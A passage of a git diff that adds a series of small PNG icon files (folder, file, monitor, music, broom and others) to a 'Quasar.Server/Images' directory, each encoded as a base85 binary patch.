z`fz>AMWPduSJ|BZvhphbx2{?^^X;9>Mc<#E`OZK9pcr7A-?8w@&b@2i-`KsGkVdQq akOKfGkqaR7-oKat00007g! zKzG@A0hc1KJ&B8)#icv1;tdRB5!ZqQ@?+G2IO#vDdWf!jQt+l=nD2GHqDRFTaY)h4 z)8dxuU}F^4WUwwZR)q$(el(hW zKn&{7Wm9by42O{9z5nZb@dL;FZpi(-`>uL<`>Kh`5|4K$z4CK>kasSfmb*-)6ogF% z`;l`>Yuy<*YyWd*lraXvCIiP#qMVY*oxyIGPR})v9SBRdZIgjzx7-~FOSb0(L2urK!^W@@w-s>X80Ag3?`k8$#1J0F}NdayEtTz+~+#EG995YAF(1xew#=1J)ogJuY z3Lxu(1VP;KAh`GKm^?X0f~UCV*)Nf5F(3GKr=#9qzp;L29U)FF98>T4&VoHZ|-ho>^FRq4ws;uOVa=V002ovPDHLk FV1kR43LgLf literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/application_cascade.png b/Quasar.Server/Images/application_cascade.png new file mode 100644 index 0000000000000000000000000000000000000000..da5c622eaca0deb4866135926af1d2aa5101d106 GIT binary patch literal 524 zcmV+n0`vWeP)}lwk9A2Ze|&iZoIgAZ3MTi0rviU@eS5?r z4KA#JuLrmglUjU7y&F^VIw}$Rg3uR)V-k9U&=-WhAoK;n1)+F@6(FfbKq!_YoYN6- z@oomdg%KbsI|VMR`^0v};X*@SkkbJdKbzvy#h(jwfiBRE_p0E=F98r%Yr~OBPWzsj6v!X?6(f7#B3EJn O0000hj32+Ia2PFSwHp_;8^u8>r6{e*krHy43#H^jT&z}Wa&xpokqZtA zFR&Fehhe_gp*x{i&XLj%HzdqAeQvxDT1Rjn;gaWw} z5^~2QShuR2o0yn9fA7Y?Xzt(DKhn`?rmhAn(VT1h2r!!4rBZw52P-vSDzPZb#g$`y ztkj8XEoxZ`Y73PkKp{LJ5D~&7@Je_kT)~2i-c6l&IJJyK&5~gfN`_2W7%3TM2{XqE zQA8qFq861?%N|ZG0Wt%FLJ$TKq7Wo2$Odl0Q&0;JYFQzcn1MtBWCjLiAQxdE1Cmih zK`p|mAf*(48Y1z>=gVSoY2jATaZ?l66O4$*k`47+`l zweRoK+p__ghH^x(%m8DN8Gl-sYSGx#3kS}zEMMMC5wqj&noaWd37uvw=_X01NGD-Z+i^1;8t2&z(w`{C(PM?|mR`Ky`;pIFxeKF=OosmQ6jmTLP{}-6iF>nO8f(+aY2!Xm^*5Av6NhR zD0!Nar%`rnu~v@R4hO^8&iS41=VQN>+65QO>m_E!|B#IbuI^pAy5?9WYjHC`6;s8j z!_-hy%sJEya}KAD$C|Z-~!ZLFQctG09Uhp@QPcl?mU}7$E{?cz}t3fC%LK?;}5+keI!OTyHb6 z@j}nbBm-HHT&CJnb^IYBAVSCka_RdNzT74;XDve?FCx*eM2ky^TZSvCN4lf#zADBt{VLMZ58~8Xlk&tIj2}J+_M1=n24SuBB zC|kIW{HG=&F(WrHgY=^pRBSp=QTYN)m5{Hh{2@SBTQi04uPMk>dS9PrQdx|l%yhmz zOH#Sz0@1`YLTX0HPj&aS)SnFM)H&2CwbI1q`b)fRK1k<-HpW#}^Sv*{jiIgdH9W>t zQ6<#EFflVmJF;g{aA;S(kLP%K=NdiTT|X03N>|n%ZExo<#LO72ZdK{vlG)|{vIVoS lXs&IrKfQB(cA1hmXWM zDZ#H?v3PJ5$Hq5OmbDN{wJ%9%wAR zT-Qu9!vIN`896F;t~rD&@Nfe0`Nv1rEgogE>hi36i1p_V%rE6ZqX5JdGmz-z3Rm#{ z+Z*c0z*?bg!mefM79{Zs`zK3~u)rkEuD#mHG}dlY@$@R6?<^o~D%1C9AK Udps;mZ~y=R07*qoM6N<$f`qvmMgRZ+ literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/archive.png b/Quasar.Server/Images/archive.png new file mode 100644 index 0000000000000000000000000000000000000000..f0756cd29cbdabaf0a0573b1e5e0d9e7e6a77738 GIT binary patch literal 644 zcmV-~0(cJ(AUG4-gNU-p*(#jOZMld9Wf(W+O7KVTrv@mF6uv4&5B#8Kf62Tlq3&9{pA|hHS zLWJDzzV(~8cbmJz0|(x|dGF19GvCatN|FRm=4wA(91n;N$dYf;QlXTB*7`^7{L>w1 zN@@#O`G|9E{1k7Um~)STs38x4rin55_UXg+#o6%Akqa+RqD^du7H#6uz1uKKBaSyw z8lA@Q!AZpLFXQ3e1suEh7A`t7u{aAwkckceFD^npmxneQt`T|X)fd-L+!jju_`U%Y zYS)?Ixf74C1OYw9#Z9Lq=}!P_H3BZ#*OulnJa(2WBJA2bgf~|!cyMV1I|ui`CCTxw z43tmX&`~j(Viv{f6xLqfz{ckl>>Jt7Rq<3~7iPunpy1+=00x>BSKQZ^Z=rZ#8n0Fs zP+xlPgE$tsTpg3PbOOjRjtIcWS`KW+?#gL=sox|e1Cz5EfKXCxUC>(;LeE`5j8XVn zpT}T%Qab4GthHRm+X3ny6kLNX*M0^RvniCPn%E(0!i}KX8E=PP8AxQUB9so#WClaE z8Q$@Yme#7?8F&gZ1H|kvR5OGA!f2D0X7O79-Ca;A1sllN_F?t@QBHM~K5>+DxxRFy zn^fDYXj?yvLWCf1)2k%th(eStm3FGTjlchd&)zMsA8H?vo}yCw>?qSk#1i!Z{J;F7 e-$zmY3NQc>HPk6~O~^O^00000fhdEP)RB*?~^j!LKVQ>(O&A{Xr%)RXLn#U zs4LtZ6rCMFY5|B2$)yG$6aaIF6w#wHUuW*nL5>vZR zlg{G&%mT~|kL3ei%GW0*UOHUMs5XI$4uxe-L?I@SAefq*207}Iqtjm#e5*fP53AiC z)C|RQfwzxx<#_WfANRGZx{+tFDl8~Q?;~Ve=lM^*8UTTnVL?HTDz8uta0D@d28E9S z_)i8aLz^UE6PPKymi;2GJ`34{eIia-CtfAt0H61rk0 SPTNud0000Af0ik2w6+lpSX>YUs|dlu(qI$9>Fut&IV?S*Da3)d znVorgc4k*tYZ)gbW5(Ybs7gcNr(g_diwy)FDVZ0e68Pp!!{8m;*lLny%xPz4Y_Yy( zuY7U(fj!%fX+7<*JPWs-Aqjkg;nR+iiGWL`HTG!pnB=93QLq~AQd-i;f;$LzHmMW` z&A6<5qM!9(+7ALAd*=i)FDf?3NxZ_96Oz43l~)ndeTG&$M=Ub&gl52vTC3B(+9#64 zNo{?DyZZ~S4~a%x!kZ}98LrWpgr!pwo$@d>!{Tq>Md-BflLqnsKhviG0|0(vX0VEM Rkdpua002ovPDHLkV1n_Goa+Dp literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/bricks.png b/Quasar.Server/Images/bricks.png new file mode 100644 index 0000000000000000000000000000000000000000..0905f933b87ab32f21098d7db8d603209730c753 GIT binary patch literal 825 zcmV-91IGM`P)wd|HNMlZ|>D)M67h? zOIjz3DJbk0=97q(mSBd~-ilc0Oupt^z$#N6O&at_s8u-PL@9M^gQuq(+UH^IB$&*DHP!HzH+vkEzC?S52tN1$mKhziPkOR=y$ zhl#aO1Xly_M?EkN>tM6E5T&Ht4dh{0oQr6Q1b3J=sM^ACOsvD=TSP81#0oTC1v|Df zgpp-GhL(KrE_8t&(jeFR1W%(osQ12tvSpHp_}~HR_8G{VUO;FILQv(P-b)es=)ZlJM#c>{Wx-rgY3D#Ol9rJl39A<60Xo5cneo(9g5a4q>ayzV-7%Ue2}0_ z&TIets{Cl`n(nefrZ+9F8|N&Kp}^StU2b+&pVj;XvgEdBL3Wlp00000NkvXXu0mjf DwZ3{L literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/broom.png b/Quasar.Server/Images/broom.png new file mode 100644 index 0000000000000000000000000000000000000000..2c6152ef621a20c8bb016742c08153f20cd8e71e GIT binary patch literal 784 zcmV+r1MmEaP)0Hy9IdnOjm|8iDrb~(_gorLm$cws&E&`E?@S>Xnp>MK_0tqxD+)y*nqBPRUqEyO{ zSeYd{zqWL9@Ah^ME(k&jeBt*#hvz)cbN=U?=MbLfv7S$Ovnm9v1gpa!WOahs(+xcK z>j})ct8)R0XP8Hr5GH>Bbv_?zL;hot0-AS^LB~63A=8ovbvw!q>D|ky6aFJP&0^!T z>+f7S$s|~A)JT6WBiUfwrEhxBV&nX4D~O}kgqZI^7F%-V8%|kzB3M@yrJj$9so`uIV{MDI}O3`ihEN7c7=06c?M( zI+%n-$09fmgaUynhd6p{{CrPWU#5tMTofA(S-JuOdRO1=IhaxR0pFS^-G}e*;M)Q6>s#cP zI`Y#S($G6W`W@NI5g|L-MKl0Zmu$m^(0~^Lwo5OO~d#(vPfzCQDsH?WF>AIFt zQuJ}i;w2$ZUU#3SZ6RY0Gw;kZ&ol1~2ky^QZ(fom$=jNJZt!z7w_pH~wdQ;R)Gh%BbQFCx+Nm!4SuS-vkr`vhhrX zM*>w%e+v~?m@q~ImPAgtLkR_3U<2F8LP3W5=LJ*ZN|S5p#sf4YFr$p~Q~Z*0Ngxf2 zjk#J#<7EAlhzlrV53~GF&pIzcCN_lz9@05UeoUXiK%N z#x+4o*i_c|6_Uu1+&TIho?3@y4k-#b8Y_o94zW*B3a1ne2-Y5s0uke$$|@=}OP-i= zNYZQA=>PrZu0MfSL=b8UhD_={W4IY1{b{)U)*gc45xtL%IYLY&hF;d`@GzI&7H&D# zh;z_BX$#hqh@q?AY3sJTod2%*Yd)_>YM0#q&ixGuh+PQsneK)F0000a!u4Ek1OWvhNg%r^rdTXsY3VK8?SdPP#w89em&*t9`8-y> z{{XWmi9uo#0y2mREC>R)tyU|D<2Xwun+7u3ce~yHC8N{n5>SE*7ca{{mxCuK52M#x z6?VgqVUHr69iApkt_fp7}UIJIX)^0!0b=W3KH zu#9)c?;$B!KqeOeo#x5*?d$d(>1am)Y%kbK4HaZEF7DqvCglmk2%DRMFl4hCO2bI^ zX=T@9j!era3Mj9K%ggW14jP4g$@9D^u1>q%4oF>&Q{%YG^bC$1Iv|Sn?VXTj+j1A` z_4;iBxjK9L%sJ01;N^>_f2ih9=zM1B|Mb6I%0_FShXA!&ZGuYnYi{m5Mm>)<#Bd!= zpw*3PwK}@fZ5>`FlHMWvu(C4}Mrzlg<+1Y8PEBfUp0jJpx4B>@E+cy3`^(Gw`Mf+2&yxZm<$to~Vpgvg&QKNR z_f#1(r6svZt%iF?s+n<8X?B&!h3g9Dbb8_=MX}!;HiQSAh`bp^WMl~Z-44teO7W_Y zV4thSL{h;rJY7!l3%5J4H1!tIzB`Dv+YxO(haWeausGZYkI8^hWj6mzo=L0{%;yxzh{5!Htr?51 zvG|W62MzC8BZ76hRpCyO2zOn<%e)K>NHge!-~)Ap33OdWw6hsLYbCxGNt0%wk_2z7 zfyYvXheSG)5HRK1VB~%mq7Dmurw#bi@hEcOr3&G1ZiF*$M=&9nB#VNf&Q^r$4G5kp zTURh&s)E0%5&hyVD}sp<72~zmAY`Y(9aqO6CXF%=zFHGzO-A&I(pE}v70YQxCPJ{Y z4L+?5-crdLn3ZRPEs!A4ehEY3ZRpL~w9>@aMN+{F4dI@v&>(QDHQum!mG~E^$OS8l z!7?%Uwib*ROP67Hw`ika)gX-(8Ia`-u_IEhxG7U<13kSsMW+$lbb2dUMm5p6pa}cjgA+U$^mJ^AjD?&bdi)8~y+Q002ovPDHLkV1g8IMc@Dc literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/done.png b/Quasar.Server/Images/done.png new file mode 100644 index 0000000000000000000000000000000000000000..a9925a06ab02db30c1e7ead9c701c15bc63145cb GIT binary patch literal 537 zcmV+!0_OdRP)Hs{AQG2a)rMyf zFQK~pm1x3+7!nu%-M`k}``c>^00{o_1pjWJUTfl8mg=3qGEl8H@}^@w`VUx0_$uy4 z2FhRqKX}xI*?Tv1DJd8z#F#0c%*~rM30HE1@2o5m~}ZyoWhqv>ql{V z1ZGE0lgcoK^lx+eqc*rAX1Ky;Xx3U%u#zG!m-;eD1Qsn@kf3|F9qz~|95=&g3(7!X zB}JAT>RU;a%vaNOGnJ%e1=K6eAh43c(QN8RQ6~GP%O}Jju$~Ld*%`mO1pR5;6} zQ_E@-Q5gPaa(xuUD*8Dh=U) zD{du|NeqWWL?V$HXdX!Y!C-(yB7saML!ujex*;{2O`)Djr7#|kPuQhW2q;Ms0)c=~ zkH_PP#bVGj4c%_H7$kMFPPNjeXf!IqSD$x6*>zo*ripw$k5;R-5hNwUFfba8!~yx6 z=rAe!W9?@Z6U#s;`2>;BIVg%EToOTn*l9o@UXrjZ%kl{a6J?6!^cr66Z{p$NQ>dy+ zm_m?Lsa6Uipdf-Tsn=YYU!iM*@iq1QD%O^6;K(%ay#ENB>Pu0!An<`?HJ8hY-2KIH zcfAb9D}@EUQ{QK< v0Jmp<;WRC~B^izzSeUp@_IuU)>d*fH-<_8fCSRm-00000NkvXXu0mjfWW=I5Rl}zuENrQ28Pt;CX(qKOcDU|M8F&Z%jVGSZA7t& zSX&s1bi|{*v*DgAz3ST9+K6Us3~0Q9*~BWe6PID=&0x|wWdf!IWgI(}6lv9v-FpSS zw1U9OL{Ex%ACuJL>=wxTZg0 zEf8`!jsrze5UvA~SqG-HeEY!{P)iC{?3#nq?S616TB~hnMW{0-6j9tLvf?&u+XiC{ z?O_E0jiYQZlqIojGL$5a1qk9N)mlxpmZq1W6gHT`ec`8K>j$jl3}`WfukS z{=!u2#P1a^U!H8Xl5T`7??NT1t zUc_pqB=&-xQ}oxwg~5^6HaUDuDLGXE;y3!@QP_pOFSc-kKKIu gX8xa5{%_a#2W_ovs9z>%07*qoM6N<$f|edvg8%>k literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/file.png b/Quasar.Server/Images/file.png new file mode 100644 index 0000000000000000000000000000000000000000..d60cc398bdcd848b21b9605f1827342f1d447793 GIT binary patch literal 510 zcmVfcKY#vY`1bY7G@#HW1~kA3rFo*Gqwh_eJVg{F^dF@8 z?>~lbKYlVifAyB((X*Efdp0hAGiS~m7ogNdYzCOFUbFU;iMb_;>Hq%yWBC5#7sH3o zUm28TB^YX}D?x@hBfA7rPr&*`T`+Y{;iC-x>ILIKk|eruw&YX3us7N}WeD zVC_j;I|l}A;K$G33_pMWVPIwgdhh>#hWxzTw_7)@*9S^Hg&P3$!bvA*7Y1D5FDOjD z|6q9j`W?fn)oU2~+w0AN!lzISaC39VX~2IV1jPy{U^i^o$dHqff@%QJ)RSIbUJQi5 zUtl=iD^{*L z85|TulmTnktpmCs4Ap?;D^{Ki3k@O408lJMMuejpuypx~lab+JL>aJrnb$#l0KX5-5rzh`-v9sr07*qoM6N<$g3Te{ A9RL6T literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/folder.png b/Quasar.Server/Images/folder.png new file mode 100644 index 0000000000000000000000000000000000000000..784e8fa48234f4f64b6922a6758f254ee0ca08ec GIT binary patch literal 537 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 literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/lightning.png b/Quasar.Server/Images/lightning.png new file mode 100644 index 0000000000000000000000000000000000000000..9680afd12f8fadf5b83f827240978446af5962b6 GIT binary patch literal 634 zcmV-=0)_pFP)3kp_oQM4NsQ6$aEKj6mx0hg})10sT;E2V;K zUHNY7qG&TIJ`gc&M*EmdrgP_>>zSLTO=}7j2M*`nnfbo+_|8cvrSLzG(R^{I&fHg| z3Nfi70*Jk=pS3m4lD_qhO!oanz~FpWe?InrjDM6H7D@P(w+NOTuL0gfPQ>)8EiKPO>RV|@%G(EApK7|ni6$Or7s}#zN5D2fFuoW z?SUp(cysDe%D^FVRe!-fK+o2zXp zH&*H~_``&05AX{CqjQ9Pq)Pw`p&~+e-<5=lgjH9A;4MsYR*p|Xp3o{VtL6Q8vD&1u z_TBwgt>E(`Zp(h8_8f=r&cr~-uy!|BC|zGKq17aQeR}wL=f1PUhPjus5Lo&7j={xc zCLhQZ=E~bn;<}`gh7Bu?>ih@P+*yw5-^u2k8!el-HG?lt4o$V&*`tbh^4#JtCOgRB z@^-thiGaZ!P|20J4^o7;v)78_|FldDe9Z$i&;9^|y&bKi-n=y{JsccrzVF2T076QP UWao5~B>(^b07*qoM6N<$g7%3ha{vGU literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/monitor.png b/Quasar.Server/Images/monitor.png new file mode 100644 index 0000000000000000000000000000000000000000..d040bd022329544e27841426895700bd4bd3aadd GIT binary patch literal 612 zcmV-q0-ODbP) zlf7$HK@h-y`|e%TykI^w7?PY_EJaAPQ54c>8q53x3fJksAZa2BCYUM*sVua!l3=50 z1dSH9NARmNLGvZv<-M8Rv3QsB1}{LI`;8@!q4VZC%_V z($)|W@MebM6lV#a& zfU34!!f@p@U7a0N`V)>GiP;fDG$0YU$1qc=n0xaYRSAaA#PbPt+vx8D8 zB67J83x@zGq~M&(A%HnYBlWn*@^>KYPa(@PqEZCFm(QR6T7^0eIoK=XlUq$sy&MG<48XIWqWo>Z&VtMl{o y&kv0NU}|dWorsL?pTgE;zOB`27yg*S|Hv=)vtlNu1or3v0000(_K`e^*C)ioN>A zo?ti}?oVgtmPeyQ$Y^uWv@{a&I8;@IVHkh~M?}$!P-rn$-}ev_iDb`#clT{zO?&t4 zwUB#roBj!^)IY}TLzE*Q4udBp!qU}e<dZjbGx zK@bE&kV94dCQMxX5wjy>^DShvbjKr=%3yhUC1iQYQP$Sc*?0Q%hqa<8BCx=ZOj?8J z^`PR(bx@hqZr?bN5Ae7w2%@%!QR zda-y}31)sCgyr|)@2@X_Bgh*LHRJ5t?I>SUL!03-H9CfszNPR77PhdacUn5n_jd1$ z%}hIeiUlETqJZNKyTFu$vw#2XWl(6fmSxdqIO0YQb#?VL4{sw8scFyP;N|Ag(Wo;Z zTUI=?5m!%iJ7+t{xWx(6wBYdw&N&i!3A0LK3wy5N#b*=hjT1k7-v<}(f=T-ioxt9V?PK3JzV;UW`g8nYwq@J%HIn4H^wqgD#5zh~k~6`yE8D?#4$~nO2f-~6 z0=L79-Md>cJUm>+wr<-Ym6VpozWDrf02m4U8n4kDfxAo+X<1@lpHM5v$IulnE5P) zlih1laTv!H#vr0UAo>ToDcDs6-9&T|1YL9y!5A}ay|RSVC5g70p24(@bj2Xpi0wir zjT4pbI4^u*zOW1N6*L835E%?N=kZ;ie$S7NNp%tX!NZSpc)s87=Xp3s1OTFwmdE3{ zb|RtQ?;mx!TxynO%l~XhBob$0v6wy_4(|nnL6#(48A=_qlVh{l__ejQzs2!*{1g%I z6$%A7K0bzWxeTFD2pkT_w$tfcBB|L_Dg{2D4~$0R#-GWf(P(rxm&*a3e!maGNhXtE zwOV;X049^^fMJ+vwOV~z5Q<5|R3s89WV2c5bUM)M^{4^X;o%|hJP)N(3Cw0Q==J(> zrBXSHT0|C;`kc?_DKZKW8=KqhHXuzporYSiMol@61D#H%5U53DQLhAK0UHT2nG6sz zC>D#*Xf$Y{AvcLeE)(&Q4vk45s8lM~z`*Tx@3&g5 zfe=%g%_dDmV-(OQ zrUbsmmLXi?VA1&)?krw_OHa-kM4^=x5AFcdhlQ9b%sjzd@3GM(U=#1?o(wzpVR7dH z8Z<=d8RaU!umEkZmkO%YDlHrfjn>!K;pWRR_#XQR!{v&*S@_3q}?we7-7i00000 LNkvXXu0mjf((yoF literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/mouse_delete.png b/Quasar.Server/Images/mouse_delete.png new file mode 100644 index 0000000000000000000000000000000000000000..72865668cfe796ac531ec2d40a95871aa06da700 GIT binary patch literal 741 zcmV zlTT>UVHn4Mq8SlE-6H5PsAGrDb%@qF1Uv7t%Sd7oEeZe3khvOj&=4ZM>`>dmL0iLN z5dK*n{KGbFfla3{({PH|VmX~Zb^iPIJ}>;ns1C6Q9)9rhe!t((^YH!z0K!Q-5D4_1 zNVvAPru6xIMyJzR{O5&4B5^JrkDH^>=tejkcCw_K$5OAmSS>9riF0#ve~Y)aw$3o| zMlP4b!NCEF#Udh+2;6SBXJuvO6-&)*Z*LS9JjKyNB*=!b6-EJ3BC6h@k zE-s3U09LDYZ)$34#Ar00m4q^O;lbwSW-gP-pw()j)9G*n>izwFh@yx>p#YoB2D8~b zsMG0`q$Ok-Ysb#c4o4;dVbkSivk9U}rBbL?tK8J<^2w;5 z4EcN>^?IE*8PfbFlgV{tu)e+?B18$7Qrhh{YPA}lo0duVL`TLf5C((6cVyuA`*#ly z508YD(r7ezA{mo_zFCJA{=qBwbXx(}-P1ojeezLm5L{l~r8IJvgi>O;T;_&f-%cQ^ zxqxoBIG0HFN@gvCa<5!Oru1lbN9*MeO15tW&QK%xg7!V`F0l zw(0j8jb>1-R?C6|m&U`YtF3~*2fKz-NULP<^()%$KKZl%{sTh;mq%IRcfuwj64Uu_ XBDfTk2IT+r00000NkvXXu0mjfR~lRR literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/movie.png b/Quasar.Server/Images/movie.png new file mode 100644 index 0000000000000000000000000000000000000000..b4ad8738f7c6f82a33e9dfebf51ef68a127e8e1f GIT binary patch literal 661 zcmV;G0&4wV?h)m ztgwqH2$@k17Hz&Crt<|4Q=87=uirVem%}Eb2M*^4=XXBO^ZkAw9{j6lH2O-VQmNsP z>UO(OtyZ^!!QlN!B=T$jH{Q-6pU+bUg8@O0YPZ`Ei^U3oK;ROAEdMv4)oMYb(SUS1 zz2^7(FNee7U;Znt}=SS+>=02sYA`HAWF{l`zx zYBcbBWfl7R`rz!DQDAzIJJ@J6D$C_Ey$eVr64ZLBj0PkU_!#{JN~MzR)-M)=(TG4O z5JG2r8|=d;fXCxulgXqkl}dYng@q5)+jsAg&1Pfuo^(23qh1FI0VbA~ptZTl0;VSK z0iVyuX0w?)K|CI(W}m-AOozpI96H4HLZLw1Z|!LR zXfgJ!R}f^H0q{>xgJZ;wtyU`+kjv$$x%oF}e(p7+@lXJh%FSC7aQ)g~gudfNVBPt*oZdlgE#sUf<{m7`BhVU5^Kkja}pdGMNn3 zX#PPypAX8VbvAcKvrHxfHQ5FEF$L(fS`d*~M^B%^SH{Pcl}cp~K(>pL%jIZt$_rv~ zKgr$z`oTfa>2#n_$U&`Av5_)h;stg%99%#$nWXf3Jz68tG0P+n2v{>22z`dp-|`rnLxdB@rVa|z1|zOTCMpPcsNraL)ZI+00000NkvXXu0mjf!?-xj literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/music.png b/Quasar.Server/Images/music.png new file mode 100644 index 0000000000000000000000000000000000000000..3956a26c3b9614f7b1a3692e4c9026796a9d61c8 GIT binary patch literal 711 zcmV;&0yzDNP)_h@hL5Rgj8bB!&n4I~6 zTSh(DL`DV}9T|buYWWM;e#7U?&&$PHhQ?elDkX~-^GgvtH0hyMt7U-U7elaERsoU^ z+MN}3XOWeiE!C)`X(*L6w2TV1IY|hF1$+*Ku}Q~ZO@b2s=g(vSme>iG+udd|9RhhA z3n3oYho%vZ#xVOcf~AOn<*0y0Qzi9`B%a~b=pe|2` zH(!G2C9vs*2rlfI)XCLURpNit(fJtm>M9wa@Y3bRmkx)6Y$X*pndb$xw6wr^?dr-hNunsa txxiqkXBZ~#I)_4`@c7tRyCD2t=U*dA{Sm+&7o7kA002ovPDHLkV1jdgN8|ti literal 0 HcmV?d00001 diff --git a/Quasar.Server/Images/page_copy.png b/Quasar.Server/Images/page_copy.png new file mode 100644 index 0000000000000000000000000000000000000000..195dc6d6c365d298e466026b37c1959d96119ea7 GIT binary patch literal 663 